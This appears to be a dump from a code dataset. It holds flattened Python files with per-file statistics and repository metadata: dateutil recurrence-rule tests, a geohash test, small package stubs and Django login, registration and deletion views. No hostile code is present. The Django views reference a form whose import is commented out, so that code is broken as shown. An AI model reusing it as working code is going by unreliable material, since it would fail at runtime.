testToStrMinutelyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByEaster(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByEasterPos(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByEasterNeg(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByHour(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMinute(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyBySecond(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyBySetPos(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bysecond=(15, 30, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondly(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyInterval(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyIntervalLarge(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, interval=90061, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonth(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByNWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByYearDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekNo(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekNoAndWeekDay(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekNoAndWeekDayLarge(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByEaster(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByEasterPos(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByEasterNeg(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByHour(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMinute(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyBySecond(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(SECONDLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrSecondlyByHourAndMinuteAndSecondBug(self): # This explores a bug found by Mathieu Bridon. self._rrulestr_reverse_test(rrule(SECONDLY, count=3, bysecond=(0,), byminute=(1,), dtstart=datetime(2010, 3, 22, 12, 1))) def testToStrWithWkSt(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, wkst=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrLongIntegers(self): if not PY3: # There is no longs in python3 self._rrulestr_reverse_test(rrule(MINUTELY, count=long(2), interval=long(2), bymonth=long(2), byweekday=long(3), byhour=long(6), byminute=long(6), bysecond=long(6), dtstart=datetime(1997, 9, 2, 9, 0))) self._rrulestr_reverse_test(rrule(YEARLY, count=long(2), bymonthday=long(5), byweekno=long(2), dtstart=datetime(1997, 9, 2, 9, 0))) def testReplaceIfSet(self): rr = rrule(YEARLY, count=1, bymonthday=5, dtstart=datetime(1997, 1, 1)) newrr = rr.replace(bymonthday=6) self.assertEqual(list(rr), [datetime(1997, 1, 5)]) self.assertEqual(list(newrr), [datetime(1997, 1, 6)]) def testReplaceIfNotSet(self): rr = rrule(YEARLY, count=1, dtstart=datetime(1997, 1, 1)) newrr = rr.replace(bymonthday=6) self.assertEqual(list(rr), [datetime(1997, 1, 1)]) self.assertEqual(list(newrr), [datetime(1997, 1, 6)]) class RRuleSetTest(unittest.TestCase): def testSet(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=2, byweekday=TU, dtstart=datetime(1997, 9, 2, 9, 0))) rrset.rrule(rrule(YEARLY, count=1, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testSetDate(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=1, byweekday=TU, dtstart=datetime(1997, 9, 2, 9, 0))) rrset.rdate(datetime(1997, 9, 4, 9)) rrset.rdate(datetime(1997, 9, 9, 9)) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testSetExRule(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=6, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) rrset.exrule(rrule(YEARLY, count=3, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testSetExDate(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=6, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) rrset.exdate(datetime(1997, 9, 4, 9)) rrset.exdate(datetime(1997, 9, 11, 9)) rrset.exdate(datetime(1997, 9, 18, 9)) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testSetExDateRevOrder(self): rrset = rruleset() rrset.rrule(rrule(MONTHLY, count=5, bymonthday=10, dtstart=datetime(2004, 1, 1, 9, 0))) rrset.exdate(datetime(2004, 4, 10, 9, 0)) rrset.exdate(datetime(2004, 2, 10, 9, 0)) self.assertEqual(list(rrset), [datetime(2004, 1, 10, 9, 0), datetime(2004, 3, 10, 9, 0), datetime(2004, 5, 10, 9, 0)]) def testSetDateAndExDate(self): rrset = rruleset() rrset.rdate(datetime(1997, 9, 2, 9)) rrset.rdate(datetime(1997, 9, 4, 9)) rrset.rdate(datetime(1997, 9, 9, 9)) rrset.rdate(datetime(1997, 9, 11, 9)) rrset.rdate(datetime(1997, 9, 16, 9)) rrset.rdate(datetime(1997, 9, 18, 9)) rrset.exdate(datetime(1997, 9, 4, 9)) rrset.exdate(datetime(1997, 9, 11, 9)) rrset.exdate(datetime(1997, 9, 18, 9)) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testSetDateAndExRule(self): rrset = rruleset() rrset.rdate(datetime(1997, 9, 2, 9)) rrset.rdate(datetime(1997, 9, 4, 9)) rrset.rdate(datetime(1997, 9, 9, 9)) rrset.rdate(datetime(1997, 9, 11, 9)) rrset.rdate(datetime(1997, 9, 16, 9)) rrset.rdate(datetime(1997, 9, 18, 9)) rrset.exrule(rrule(YEARLY, count=3, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testSetCount(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=6, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) rrset.exrule(rrule(YEARLY, count=3, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertEqual(rrset.count(), 3) def testSetCachePre(self): rrset = rruleset() rrset.rrule(rrule(YEARLY, count=2, byweekday=TU, dtstart=datetime(1997, 9, 2, 9, 0))) rrset.rrule(rrule(YEARLY, count=1, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testSetCachePost(self): rrset = rruleset(cache=True) rrset.rrule(rrule(YEARLY, count=2, byweekday=TU, dtstart=datetime(1997, 9, 2, 9, 0))) rrset.rrule(rrule(YEARLY, count=1, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) for x in rrset: pass self.assertEqual(list(rrset), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testSetCachePostInternal(self): rrset = rruleset(cache=True) rrset.rrule(rrule(YEARLY, count=2, byweekday=TU, dtstart=datetime(1997, 9, 2, 9, 0))) rrset.rrule(rrule(YEARLY, count=1, byweekday=TH, dtstart=datetime(1997, 9, 2, 9, 0))) for x in rrset: pass self.assertEqual(list(rrset._cache), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testSetRRuleCount(self): # Test that the count is updated when an rrule is added rrset = rruleset(cache=False) for cache in (True, False): rrset = rruleset(cache=cache) rrset.rrule(rrule(YEARLY, count=2, byweekday=TH, dtstart=datetime(1983, 4, 1))) rrset.rrule(rrule(WEEKLY, count=4, byweekday=FR, dtstart=datetime(1991, 6, 3))) # Check the length twice - first one sets a cache, second reads it self.assertEqual(rrset.count(), 6) self.assertEqual(rrset.count(), 6) # This should invalidate the cache and force an update rrset.rrule(rrule(MONTHLY, count=3, dtstart=datetime(1994, 1, 3))) self.assertEqual(rrset.count(), 9) self.assertEqual(rrset.count(), 9) def testSetRDateCount(self): # Test that the count is updated when an rdate is added rrset = rruleset(cache=False) for cache in (True, False): rrset = rruleset(cache=cache) rrset.rrule(rrule(YEARLY, count=2, byweekday=TH, dtstart=datetime(1983, 4, 1))) rrset.rrule(rrule(WEEKLY, count=4, byweekday=FR, dtstart=datetime(1991, 6, 3))) # Check the length twice - first one sets a cache, second reads it self.assertEqual(rrset.count(), 6) self.assertEqual(rrset.count(), 6) # This should invalidate the cache and force an update rrset.rdate(datetime(1993, 2, 14)) self.assertEqual(rrset.count(), 7) self.assertEqual(rrset.count(), 7) def testSetExRuleCount(self): # Test that the count is updated when an exrule is added rrset = rruleset(cache=False) for cache in (True, False): rrset = rruleset(cache=cache) rrset.rrule(rrule(YEARLY, count=2, byweekday=TH, dtstart=datetime(1983, 4, 1))) rrset.rrule(rrule(WEEKLY, count=4, byweekday=FR, dtstart=datetime(1991, 6, 3))) # Check the length twice - first one sets a cache, second reads it self.assertEqual(rrset.count(), 6) self.assertEqual(rrset.count(), 6) # This should invalidate the cache and force an update rrset.exrule(rrule(WEEKLY, count=2, interval=2, dtstart=datetime(1991, 6, 14))) self.assertEqual(rrset.count(), 4) self.assertEqual(rrset.count(), 4) def testSetExDateCount(self): # Test that the count is updated when an rdate is added for cache in (True, False): rrset = rruleset(cache=cache) rrset.rrule(rrule(YEARLY, count=2, byweekday=TH, dtstart=datetime(1983, 4, 1))) rrset.rrule(rrule(WEEKLY, count=4, byweekday=FR, dtstart=datetime(1991, 6, 3))) # Check the length twice - first one sets a cache, second reads it self.assertEqual(rrset.count(), 6) self.assertEqual(rrset.count(), 6) # This should invalidate the cache and force an update rrset.exdate(datetime(1991, 6, 28)) self.assertEqual(rrset.count(), 5) self.assertEqual(rrset.count(), 5) class WeekdayTest(unittest.TestCase): def testInvalidNthWeekday(self): with self.assertRaises(ValueError): FR(0) def testWeekdayCallable(self): # Calling a weekday instance generates a new weekday instance with the # value of n changed. from dateutil.rrule import weekday self.assertEqual(MO(1), weekday(0, 1)) # Calling a weekday instance with the identical n returns the original # object FR_3 = weekday(4, 3) self.assertIs(FR_3(3), FR_3) def testWeekdayEquality(self): # Two weekday objects are not equal if they have different values for n self.assertNotEqual(TH, TH(-1)) self.assertNotEqual(SA(3), SA(2)) def testWeekdayEqualitySubclass(self): # Two weekday objects equal if their "weekday" and "n" attributes are # available and the same class BasicWeekday(object): def __init__(self, weekday): self.weekday = weekday class BasicNWeekday(BasicWeekday): def __init__(self, weekday, n=None): super(BasicNWeekday, self).__init__(weekday) self.n = n MO_Basic = BasicWeekday(0) self.assertNotEqual(MO, MO_Basic) self.assertNotEqual(MO(1), MO_Basic) TU_BasicN = BasicNWeekday(1) self.assertEqual(TU, TU_BasicN) self.assertNotEqual(TU(3), TU_BasicN) WE_Basic3 = BasicNWeekday(2, 3) self.assertEqual(WE(3), WE_Basic3) self.assertNotEqual(WE(2), WE_Basic3) def testWeekdayReprNoN(self): no_n_reprs = ('MO', 'TU', 'WE', 'TH', 'FR', 'SA', 'SU') no_n_wdays = (MO, TU, WE, TH, FR, SA, SU) for repstr, wday in zip(no_n_reprs, no_n_wdays): self.assertEqual(repr(wday), repstr) def testWeekdayReprWithN(self): with_n_reprs = ('WE(+1)', 'TH(-2)', 'SU(+3)') with_n_wdays = (WE(1), TH(-2), SU(+3)) for repstr, wday in zip(with_n_reprs, with_n_wdays): self.assertEqual(repr(wday), repstr)

44.224968

93

0.403647

19,368

209,361

4.323678

0.045746

0.155336

0.151049

0.124384

0.794533

0.78375

0.775558

0.763867

0.75595

0.72772

0

0.148656

0.48745

209,361

4,733

94

44.234312

0.631724

0.019421

0

0.784989

0

0.010167

0.009372

0

0.085212

1

0.136735

false

0.001239

0.001734

0

0.139708

0

null

0

1

0

1

0

null

0

6

8a677e7f3401aa80caaca1775ad232449da53402

218

py

Python

lib/taurus/core/tango/search.py

MikeFalowski/taurus

ef041bf35dd847caf08a7efbe072f4020d35522e

[ "CC-BY-3.0" ]

null

lib/taurus/core/tango/search.py

MikeFalowski/taurus

ef041bf35dd847caf08a7efbe072f4020d35522e

[ "CC-BY-3.0" ]

1

2020-02-28T16:36:04.000Z

2020-03-02T07:51:12.000Z

lib/taurus/core/tango/search.py

MikeFalowski/taurus

ef041bf35dd847caf08a7efbe072f4020d35522e

[ "CC-BY-3.0" ]

null

from taurus.core.util.log import deprecated as __deprecated __deprecated(dep='taurus.core.tango.search', alt='taurus.core.util.fandango_search', rel='4.1.2') from taurus.core.util.fandango_search import *

31.142857

63

0.752294

32

218

4.9375

0.53125

0.253165

0.265823

0.227848

0.35443

0

0.015625

0.119266

218

6

64

36.333333

0.807292

0

0.279817

0.256881

0

1

0

true

0

0.5

0

0.5

0

null

1

0

1

0

null

0

1

0

1

0

6

8a94522587fcf0ca0e647a4f4af364134b34c4a2

209

py

Python

tests/test_geohash.py

Marcnuth/geohash

1a1bc20c0d8e793eec513dcae44ed29f301da9f5

[ "Apache-2.0" ]

2

2019-08-21T01:42:51.000Z

2022-03-26T09:15:45.000Z

tests/test_geohash.py

Marcnuth/geohash

1a1bc20c0d8e793eec513dcae44ed29f301da9f5

[ "Apache-2.0" ]

null

tests/test_geohash.py

Marcnuth/geohash

1a1bc20c0d8e793eec513dcae44ed29f301da9f5

[ "Apache-2.0" ]

1

2020-02-10T08:58:24.000Z

from geohash import geohash def test_hash(): print(geohash.encode(36, -129, precision=9)) print(geohash.encode2bin(36, -129)) print(geohash.decode('9nkkb9954')) print(geohash.decode('x1d'))

20.9

48

0.688995

27

209

5.296296

0.592593

0.335664

0.251748

0

0.101695

0.15311

209

9

49

23.222222

0.706215

0

0.057416

0

1

0.166667

true

0

0.166667

0

0.333333

0.666667

1

0

null

1

0

1

0

null

0

1

0

1

0

6

76e3521bbd27b8ab338b32be3a676aad574117b4

50

py

Python

codes/utils/__init__.py

jecalles/genetic-codes

ba5bdecf28663a5e6cee77c224e53c02e5ef06d9

[ "MIT" ]

null

codes/utils/__init__.py

jecalles/genetic-codes

ba5bdecf28663a5e6cee77c224e53c02e5ef06d9

[ "MIT" ]

null

codes/utils/__init__.py

jecalles/genetic-codes

ba5bdecf28663a5e6cee77c224e53c02e5ef06d9

[ "MIT" ]

null

from . import definitions from . import functions

16.666667

25

0.8

6

50

6.666667

0.666667

0.5

0

0.16

50

2

26

25

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

0a068d209a038a39a65f564e930e187b8f2e7fc8

12,521

py

Python

backend/account/views.py

CS178A-B/final-project-bjls

aebb8042f2d958caac00e31b27b445b9079901d0

[ "MIT" ]

null

backend/account/views.py

CS178A-B/final-project-bjls

aebb8042f2d958caac00e31b27b445b9079901d0

[ "MIT" ]

20

2020-10-21T19:16:15.000Z

2021-09-03T05:48:20.000Z

backend/account/views.py

CS178A-B/R-Finder

aebb8042f2d958caac00e31b27b445b9079901d0

[ "MIT" ]

1

2020-10-22T04:49:45.000Z

from django.shortcuts import render, redirect, reverse from django.contrib.auth import login, logout from django.http import HttpResponse, JsonResponse from django.views import View from django.contrib.auth.mixins import LoginRequiredMixin from dateutil.relativedelta import relativedelta from .forms import LoginForm from .models import User # from .forms import LoginForm, StudentUpdateForm, StudentForm from django.contrib import messages from django.utils import timezone import logging import os import json import datetime import calendar from datetime import datetime, date logging.basicConfig(level=os.environ.get("LOGLEVEL", "DEBUG")) logger = logging.getLogger(__name__) class LoginView(View): """This how the login page is handled when attempting GET and POST requests """ template_name = "account/login.html" # If a user is logged in, they have no need to access the login page, so we redirect them to their dashboard page # Otherwise, if they aren't logged in, access to the login page allows them to do so def get(self, request): if request.user.is_authenticated: # validC = validPayingCustomer(request) # if not validC: # return redirect(reverse('account:payment')) return redirect(reverse('account:dashboard')) login_form = LoginForm() return render(request, self.template_name, {'form': login_form}) # When a user submits the fields on the login page, we want to ensure that the login credentials are correct # If they are, we redirect them to their dashboard page # If they aren't, we render the login page again, this time with an error message def post(self, request): login_form = LoginForm(request, data=request.POST) if login_form.is_valid(): login(request, login_form.get_user()) # validC = validPayingCustomer(request) # if not validC: # return redirect(reverse('account:payment')) # else: return redirect(reverse('account:dashboard')) messages.error(request, "Your email or password is incorrect.") return render(request, self.template_name, {'form': login_form}) class RegisterStudentView(View): """This how the register page is handled when attempting GET and POST requests """ template_name = "account/register.html" model = User # If a user is logged in, they should not have access to the registration page, so we redirect them to their dashboard # If a user is not logged in, they should not have access to the registration page, so we redirect them to the login page # If a user is a superuser, they are the ONLY people that should be able to access the registration page, so we render the page and form for them def get(self, request): student_form = StudentForm() if request.user.is_authenticated: # is_SuperUser = request.user.is_superuser # if is_SuperUser: return redirect(reverse('account:dashboard')) return render(request, self.template_name, {'form': student_form}) # When a user submits the fields on the login page, we want to ensure that the registration credentials are correct # If they are, we redirect them to their dashboard page # If they aren't, we render the registration page again, this time with an error message def post(self, request): student_form = StudentForm(request.POST) if student_form.is_valid(): student_form.instance.username = student_form.instance.email student_form.instance.is_student = True # customer_form.instance.billing_start_date = self.getBillingStart() student_form.save() return redirect(reverse('account:login')) return render(request, self.template_name, {'form': student_form}) # def getBillingStart(self): # today = datetime.today() # firstThis = today.replace(day=1) # firstNext = firstThis + relativedelta(months=+1) # return firstNext # class RegisterFacultyView(View): # """This how the register page is handled when attempting GET and POST requests # """ # template_name = "account/register.html" # # If a user is logged in, they should not have access to the registration page, so we redirect them to their dashboard # # If a user is not logged in, they should not have access to the registration page, so we redirect them to the login page # # If a user is a superuser, they are the ONLY people that should be able to access the registration page, so we render the page and form for them # def get(self, request): # faculty_form = FacultyForm() # if request.user.is_authenticated: # # is_SuperUser = request.user.is_superuser # # if is_SuperUser: # return redirect(reverse('account:dashboard')) # return render(request, self.template_name, {'form': faculty_form}) # # When a user submits the fields on the login page, we want to ensure that the registration credentials are correct # # If they are, we redirect them to their dashboard page # # If they aren't, we render the registration page again, this time with an error message # def post(self, request): # faculty_form = FacultyForm(request.POST) # if faculty_form.is_valid(): # faculty_form.instance.username = faculty_form.instance.email # faculty_form.instance.is_faculty = True # # customer_form.instance.billing_start_date = self.getBillingStart() # faculty_form.save() # return redirect(reverse('account:login')) # return render(request, self.template_name, {'form': faculty_form}) class DashboardView(View): """This how the dashboard page is handled when attempting GET requests """ template_name = "account/dashboard.html" # If a user is logged in, they should have access to their dashboard page, so we render their dashboard # If a user is not logged in, they should not have access to the dashboard page, so we redirect them to the login page def get(self, request): if request.user.is_authenticated: # validC = validPayingCustomer(request) # if not validC: # return redirect(reverse('account:payment')) # print(request.user.billing_start_date) return render(request, self.template_name) else: return redirect(reverse('account:login')) class JobBoardView(View): """This how the job board page is handled when attempting GET requests """ template_name = "account/JobBoard.html" # If a user is logged in, they should have access to their dashboard page, so we render their dashboard # If a user is not logged in, they should not have access to the dashboard page, so we redirect them to the login page def get(self, request): # if request.user.is_authenticated: # # validC = validPayingCustomer(request) # # if not validC: # # return redirect(reverse('account:payment')) # # print(request.user.billing_start_date) # return render(request, self.template_name) # else: # return redirect(reverse('account:login')) return render(request, self.template_name) class SettingsView(View): """This how the settings page is handled when attempting GET requests """ template_name = "account/settings.html" # If a user is logged in, they should have access to their settings page, so we render their account settings # If a user is not logged in, they should not have access to the settings page, so we redirect them to the login page def get(self, request): if request.user.is_authenticated: # validC = validPayingCustomer(request) # if not validC: # return redirect(reverse('account:payment')) return render(request, self.template_name) return redirect(reverse('account:login')) # class StudentUpdateView(View): # """This how the update page is handled when attempting GET and POST requests # """ # template_name = "account/update_account.html" # # If a user is logged in, they should be able to access the update account page, so we render the update page and its form # # Otherwise, if they aren't logged in, they should not have access to the update account page, so we redirect them to the login page # def get(self, request): # update_form = StudentUpdateForm() # if request.user.is_authenticated: # # validC = validPayingCustomer(request) # # if not validC: # # return redirect(reverse('account:payment')) # return render(request, self.template_name, {'form': update_form}) # return redirect(reverse('account:login')) # # When a user submits the fields on the update account page, we want to ensure that the update credentials are correct # # If they are, we save the changes and redirect them to their dashboard page # # If they aren't, we render the update account page again, this time with an error message # def post(self, request): # update_form = StudentUpdateForm(request.POST, instance=request.user) # if update_form.is_valid(): # update_form.instance.username = update_form.instance.email # update_form.save() # return redirect(reverse('account:dashboard')) # return render(request, self.template_name, {'form': update_form}) # class FacultyUpdateView(View): # """This how the update page is handled when attempting GET and POST requests # """ # template_name = "account/update_account.html" # # If a user is logged in, they should be able to access the update account page, so we render the update page and its form # # Otherwise, if they aren't logged in, they should not have access to the update account page, so we redirect them to the login page # def get(self, request): # update_form = FacultyUpdateForm() # if request.user.is_authenticated: # # validC = validPayingCustomer(request) # # if not validC: # # return redirect(reverse('account:payment')) # return render(request, self.template_name, {'form': update_form}) # return redirect(reverse('account:login')) # # When a user submits the fields on the update account page, we want to ensure that the update credentials are correct # # If they are, we save the changes and redirect them to their dashboard page # # If they aren't, we render the update account page again, this time with an error message # def post(self, request): # update_form = StudentUpdateForm(request.POST, instance=request.user) # if update_form.is_valid(): # update_form.instance.username = update_form.instance.email # update_form.save() # return redirect(reverse('account:dashboard')) # return render(request, self.template_name, {'form': update_form}) class DeleteView(View): """This how the delete page is handled when attempting GET and POST requests """ template_name = "account/delete_account.html" # If a user is logged in, they should be able to access the delete account page, so we render the delete page # Otherwise, if they aren't logged in, they should not have access to the delete account page, so we redirect them to the login page def get(self, request): if request.user.is_authenticated: return render(request, self.template_name) return redirect(reverse('account:login')) # If a user submits the delete button, sending a delete POST request, the account should be deleted def post(self, request): u = request.user u.delete() return redirect(reverse('account:login')) class IndexView(View): """This was the placeholder for index.html before replacing the dashboard I created """ template_name = "account/index.html" def get(self, request): if request.user.is_authenticated: # validC = validPayingCustomer(request) # if not validC: # return redirect(reverse('account:payment')) return render(request, self.template_name) return redirect(reverse('account:login'))

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0.103762

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0.060043

0.080057

0.794139

0.770789

0.760782

0.749226

0.719919

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0.241434

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null

0

1

0

null

0

1

0

6

0a1083518e6c3ea618ef3ee09ebb2dce5938c0c6

22

py

Python

learning/opengl/3_testing.py

Nephrin/Tut

9454be28fd37c155d0b4e97876196f8d33ccf8e5

[ "Apache-2.0" ]

2

2019-06-23T07:17:30.000Z

2019-07-06T15:15:42.000Z

learning/opengl/3_testing.py

Nephrin/Tut

9454be28fd37c155d0b4e97876196f8d33ccf8e5

[ "Apache-2.0" ]

null

learning/opengl/3_testing.py

Nephrin/Tut

9454be28fd37c155d0b4e97876196f8d33ccf8e5

[ "Apache-2.0" ]

1

2019-06-23T07:17:43.000Z

from graphics import *

22

0.818182

3

22

6

1

0

0.136364

22

1

22

0.947368

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

0a21f9a488407981bd2ff302cf0a76e8c3ae2ea4

59

py

Python

magda/module/interface.py

p-mielniczuk/magda

6359fa5721b4e27bd98f2c6af0e858b476645618

[ "Apache-2.0" ]

8

2021-02-25T14:00:25.000Z

